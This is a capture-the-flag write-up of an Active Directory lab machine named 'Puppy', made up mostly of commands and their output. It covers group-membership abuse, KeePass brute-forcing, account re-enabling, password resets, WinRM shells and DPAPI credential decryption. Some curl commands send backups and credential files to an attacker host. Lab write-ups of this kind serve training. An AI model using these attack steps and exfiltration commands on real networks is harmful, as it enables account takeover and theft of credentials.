Box Credentials
1
| levi.james / KingofAkron2025!
|
Recon
Port Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
| Not shown: 985 filtered tcp ports (no-response)
Bug in iscsi-info: no string output.
PORT STATE SERVICE VERSION
53/tcp open tcpwrapped
88/tcp open tcpwrapped
111/tcp open tcpwrapped
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100005 1,2,3 2049/udp mountd
|_ 100005 1,2,3 2049/udp6 mountd
135/tcp open tcpwrapped
139/tcp open tcpwrapped
389/tcp open tcpwrapped
445/tcp open tcpwrapped
464/tcp open tcpwrapped
593/tcp open tcpwrapped
636/tcp open tcpwrapped
2049/tcp open tcpwrapped
3260/tcp open tcpwrapped
3268/tcp open tcpwrapped
3269/tcp open tcpwrapped
5985/tcp open tcpwrapped
Host script results:
|_clock-skew: 6h37m13s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-07-12T14:38:41
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 329.61 seconds
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
| 53/tcp open domain
88/tcp open kerberos-sec
111/tcp open rpcbind
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
2049/tcp open nfs
3260/tcp open iscsi
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5985/tcp open wsman
|
By nmap results this is definitely an AD Box.
Fix the clockskew and add to /etc/hosts.
SMB
1
2
3
4
5
6
7
8
9
10
11
12
13
| impacket-smbclient puppy.htb/levi.james@dc.puppy.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
Type help for list of commands
# shares
ADMIN$
C$
DEV
IPC$
NETLOGON
SYSVOL
#
|
Our current user doesn’t have access to the DEV share. Let’s fire up bloodhound.
Bloodhound
While running bloodhound you might run into the following error: The DNS operation timed out., just use --dns-timeout 30 flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
| bloodhound-python --dns-tcp --dns-timeout 30 -ns 10.10.11.70 -d puppy.htb -u 'levi.james' -p 'KingofAkron2025!' -c all
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: puppy.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.puppy.htb
INFO: Found 10 users
INFO: Found 56 groups
INFO: Found 3 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.PUPPY.HTB
|
levi.james is a part of HR group and it has GenericWrite on Developers Group. In the Developers group we have three members:
- jamie.williams
- adam.silver (also a member of
remote management users) - ant.edwards (also a member of
senior devs) (senior devs has GenericAll on adam.silver)
Adding levi.james to Developers
1
2
| bloodyAD --host 10.10.11.70 -d puppy.htb -u levi.james -p 'KingofAkron2025!' add groupMember 'Developers' levi.james
[+] levi.james added to Developers
|
We should be able to access the DEV share now as well.
SMB as levi.james
1
2
3
4
5
6
7
8
9
10
11
12
| impacket-smbclient puppy.htb/levi.james@dc.puppy.htb
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
Password:
Type help for list of commands
# use DEV
# ls
drw-rw-rw- 0 Sun Mar 23 12:07:57 2025 .
drw-rw-rw- 0 Sat Mar 8 21:52:57 2025 ..
-rw-rw-rw- 34394112 Sun Mar 23 12:09:12 2025 KeePassXC-2.7.9-Win64.msi
drw-rw-rw- 0 Mon Mar 10 01:16:16 2025 Projects
-rw-rw-rw- 2677 Wed Mar 12 07:25:46 2025 recovery.kdbx
|
The .kdbx extension is interesting. A KeePass 2.x database file used to store user data like usernames, passwords, and URLs.
We will get keepassxc to open the file. But it also requires a password.
1
2
3
4
5
6
7
8
9
10
| git clone https://github.com/r3nt0n/keepass4brute.git
./keepass4brute.sh recovery.kdbx /usr/share/wordlists/rockyou.txt
keepass4brute 1.3 by r3nt0n
https://github.com/r3nt0n/keepass4brute
[+] Words tested: 36/14344392 - Attempts per minute: 93 - Estimated time remaining: 15 weeks, 2 days
[+] Current attempt: liverpool
[*] Password found: liverpool
|
1
2
3
4
5
| adam.silver:HJKL2025!
ant.edwards:Antman2025!
jamie.williams:JamieLove2025!
Samuel Blake:ILY2025! (doesn't exist in our bloodhound collection)
Steve Tucker:Steve2025!(doesn't exist)
|
On going through bloodhound again, I noticed adam.silver account is disabled. However, ant.edwards has GenericAll over adam.silver meaning we could enable him.
ldapmodify
enable.ldif
We will first create an ldif file. An LDIF file is a text file that uses the LDAP Data Interchange Format to represent directory entries and update requests for LDAP (Lightweight Directory Access Protocol) servers.
1
2
3
4
| dn: CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB
changetype: modify
replace: userAccountControl
userAccountControl: 512
|
- dn: Distinguished Name of the user account you want to enable
- changetype: modify: We’re modifying existing attributes
- replace: userAccountControl: We replace the value
- userAccountControl: 512: This enables the account
1
2
| ldapmodify -x -D "PUPPY\\ant.edwards" -w 'Antman2025!' -H ldap://dc.puppy.htb -f enable.ldif
modifying entry "CN=Adam D. Silver,CN=Users,DC=PUPPY,DC=HTB"
|
rpcclient
1
2
3
4
| └─$ rpcclient -U "puppy.htb\\ant.edwards" 10.10.11.70
Password for [PUPPY.HTB\ant.edwards]:
rpcclient $> setuserinfo adam.silver 23 Password123!
rpcclient $> exit
|
23: Set the password of the user account (without needing the old password)
evil-winrm
1
| evil-winrm -i dc.puppy.htb -u 'adam.silver' -p 'Password123!'
|
Privilege Escalation
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
| C:\Users\adam.silver\Documents> dir C:\
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 5/9/2025 10:48 AM Backups
d----- 5/12/2025 5:21 PM inetpub
d----- 5/8/2021 1:20 AM PerfLogs
d-r--- 4/4/2025 3:40 PM Program Files
d----- 5/8/2021 2:40 AM Program Files (x86)
d----- 3/8/2025 9:00 AM StorageReports
d-r--- 3/8/2025 8:52 AM Users
d----- 5/13/2025 4:40 PM Windows
*Evil-WinRM* PS C:\Backups> dir -Force
Directory: C:\Backups
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/8/2025 8:22 AM 4639546 site-backup-2024-12-30.zip
*Evil-WinRM* PS C:\Backups> download site-backup-2024-12-30.zip
|
evil-winrm takes too long to exfil. We will create an smbserver and transfer it.
Upload Server
Attacker Machine:
1
| python3 -m uploadserver
|
evil-winrm victim:
1
| curl.exe -X POST -F "files=@C:\Backups\site-backup-2024-12-30.zip" http://10.10.16.16:8000/upload
|
Unzip it:
1
2
3
4
5
6
7
8
| ls -la
total 28
drwxr-xr-x 4 kali kali 4096 Dec 31 1979 .
drwxrwxr-x 4 kali kali 4096 Jul 12 22:35 ..
drwxrwxr-x 6 kali kali 4096 Dec 31 1979 assets
drwxrwxr-x 2 kali kali 4096 Dec 31 1979 images
-rw-rw-r-- 1 kali kali 7258 Dec 31 1979 index.html
-rw-r--r-- 1 kali kali 864 Dec 31 1979 nms-auth-config.xml.bak
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
| <?xml version="1.0" encoding="UTF-8"?>
<ldap-config>
<server>
<host>DC.PUPPY.HTB</host>
<port>389</port>
<base-dn>dc=PUPPY,dc=HTB</base-dn>
<bind-dn>cn=steph.cooper,dc=puppy,dc=htb</bind-dn>
<bind-password>ChefSteph2025!</bind-password>
</server>
<user-attributes>
<attribute name="username" ldap-attribute="uid" />
<attribute name="firstName" ldap-attribute="givenName" />
<attribute name="lastName" ldap-attribute="sn" />
<attribute name="email" ldap-attribute="mail" />
</user-attributes>
<group-attributes>
<attribute name="groupName" ldap-attribute="cn" />
<attribute name="groupMember" ldap-attribute="member" />
</group-attributes>
<search-filter>
<filter>(&(objectClass=person)(uid=%s))</filter>
</search-filter>
</ldap-config>
|
steph.cooper:ChefSteph2025!
evil-winrm as Steph Cooper
1
2
3
4
5
6
7
8
9
10
11
12
| evil-winrm -i dc.puppy.htb -u 'steph.cooper' -p 'ChefSteph2025!'
dir ..\Desktop
Directory: C:\Users\steph.cooper\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/8/2025 7:40 AM 2312 Microsoft Edge.lnk
|
Another box and another edge shortcut.
WinPEAS
1
2
3
4
5
6
| wget https://raw.githubusercontent.com/peass-ng/PEASS-ng/master/winPEAS/winPEASps1/winPEAS.ps1
python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.70 - - [12/Jul/2025 22:44:48] "GET /winPEAS.ps1 HTTP/1.1" 200 -
|
1
2
| Invoke-WebRequest -Uri "http://10.10.16.16:8000/winPEAS.ps1" -OutFile "WinPEAS.ps1"
powershell -ExecutionPolicy Bypass -File .\WinPEAS.ps1
|
DPAPI
1
2
3
4
5
6
7
| =========|| Checking for DPAPI RPC Master Keys
Use the Mimikatz 'dpapi::masterkey' module with appropriate arguments (/rpc) to decrypt
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
found: C:\Users\steph.cooper\AppData\Roaming\Microsoft\\Protect\
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\CREDHIST
C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\SYNCHIST
|
Masterkey:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
| =========|| Checking for DPAPI Cred Master Keys
Use the Mimikatz 'dpapi::cred' module with appropriate /masterkey to decrypt
You can also extract many DPAPI masterkeys from memory with the Mimikatz 'sekurlsa::dpapi' module
https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#dpapi
Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:54 AM 414 C8D69EBE9A43E9DEBF6B5FBD48B521B9
Directory: C:\Users\steph.cooper\AppData\Local\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 8:14 AM 11068 DFBE70A7E5CC19A398EBF1B96859CE5D
|
1
2
3
4
5
6
7
8
9
| *Evil-WinRM* PS C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107> dir -FORCE
Directory: C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/8/2025 7:40 AM 740 556a2412-1275-4ccf-b721-e6a0b4f90407
|
Exfil Credential and Masterkey
We will exfil it by curl again.
1
2
3
| curl.exe -X POST -F "files=@C:\Users\steph.cooper\AppData\Roaming\Microsoft\Protect\S-1-5-21-1487982659-1829050783-2281216199-1107\556a2412-1275-4ccf-b721-e6a0b4f90407" http://10.10.16.16:8000/upload
curl.exe -X POST -F "files=@C:\Users\steph.cooper\AppData\Roaming\Microsoft\Credentials\C8D69EBE9A43E9DEBF6B5FBD48B521B9" http://10.10.16.16:8000/upload
|
Cracking Masterkey and Credential
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
| impacket-dpapi masterkey -file 556a2412-1275-4ccf-b721-e6a0b4f90407 -sid S-1-5-21-1487982659-1829050783-2281216199-1107 -password ChefSteph2025!
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[MASTERKEYFILE]
Version : 2 (2)
Guid : 556a2412-1275-4ccf-b721-e6a0b4f90407
Flags : 0 (0)
Policy : 4ccf1275 (1288639093)
MasterKeyLen: 00000088 (136)
BackupKeyLen: 00000068 (104)
CredHistLen : 00000000 (0)
DomainKeyLen: 00000174 (372)
Decrypted key with User Key (MD4 protected)
Decrypted key: 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
---SNIP---
impacket-dpapi credential -file C8D69EBE9A43E9DEBF6B5FBD48B521B9 -key 0xd9a570722fbaf7149f9f9d691b0e137b7413c1414c452f9c77d6d8a8ed9efe3ecae990e047debe4ab8cc879e8ba99b31cdb7abad28408d8d9cbfdcaf319e9c84
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[CREDENTIAL]
LastWritten : 2025-03-08 15:54:29+00:00
Flags : 0x00000030 (CRED_FLAGS_REQUIRE_CONFIRMATION|CRED_FLAGS_WILDCARD_MATCH)
Persist : 0x00000003 (CRED_PERSIST_ENTERPRISE)
Type : 0x00000002 (CRED_TYPE_DOMAIN_PASSWORD)
Target : Domain:target=PUPPY.HTB
Description :
Unknown :
Username : steph.cooper_adm
Unknown : FivethChipOnItsWay2025!
|
Flag
steph.cooper_adm:FivethChipOnItsWay2025!
1
2
3
4
5
6
7
8
9
10
11
12
| evil-winrm -i 10.10.11.70 -u 'steph.cooper_adm' -p 'FivethChipOnItsWay2025!'
zsh: /usr/local/bin/evil-winrm: bad interpreter: /usr/bin/ruby3.1: no such file or directory
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\steph.cooper_adm\Documents> cd C:\Users\Administrator\
*Evil-WinRM* PS C:\Users\Administrator> type Desktop\root.txt
|
